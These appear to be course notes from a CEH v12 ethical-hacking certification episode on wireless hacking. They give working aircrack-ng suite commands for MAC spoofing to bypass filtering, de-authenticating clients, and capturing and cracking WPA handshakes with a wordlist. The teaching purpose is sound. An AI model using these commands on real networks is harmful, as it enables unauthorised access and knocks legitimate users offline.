- Filename: eccouncil-ceh31250-v12-16-4-1-wireless-hacking.md
- Show Name: CEHv12 (312-50)
- Topic Name: Wireless Network Hacking - Hacking Wireless Networks
- Episode Name: Wireless Hacking
  ===

Wireless Hacking

Objectives:

- MAC Spoofing

    - Bypass MAC Filtering

        1. `sudo airmon-ng start wlan0`

        - Record the BSSID if the target device

        2. `sudo airodump-ng -c 6 --bssid <Target_MAC> -w psk wlan0mon`

        - This will show connected clients MAC addresses

        3. `sudo airmon-ng stop wlan0mon`
        4. `sudo ifconfig wlan0 down`
        5. `sudo ifconfig wlan0 hw ether <Client_MAC>`
        6. `sudo ifconfig wlan0 up`
        7. Connect to MAC filtered wireless network

- De-authentication Attack

    - Follow the same steps above to discover clients for deauth

        - Then...

            - `sudo aireplay-ng --deauth 25 -h <Client_MAC> -b <Target_MAC> wlan0`

- WPA Cracking

    - Put wireless card into monitoring mode

        - `airmon-ng -start wlan0`

        - Find BSSID of target AP

            - `airodump-ng wlan0mon`
            - Record BSSID and channel of Target AP

        - Monitor target AP

            - `airodump-ng -c 6 --bssid 00:1C:DF:89:84:9F -w ceh.cap wlan0mon`

                - `-c` = channel number
                - `-w` = write out file location

        - Wait for 4-way handshake or force with `aireplay-ng`

            - Force 4-way handshake

                - `aireplay-ng -0 2 -a 00:1C:DF:89:84:9F -c <clientMAC> wlan0mon`

                    - Check the `airodump-ng` capture for 4-way handshake

        - Time to crack the WPA key

            - `aircrack-ng -a2 -b 00:1C:DF:89:84:9F -w ~/Documents/rockyou.txt *.cap`

                - Record the cracked PSK

        - Return wireless device to normal operation

            - `airmon-ng stop wlan0mon`
            - `service networkmanager start`

        - Attempt to connect to Target AP with cracked PSK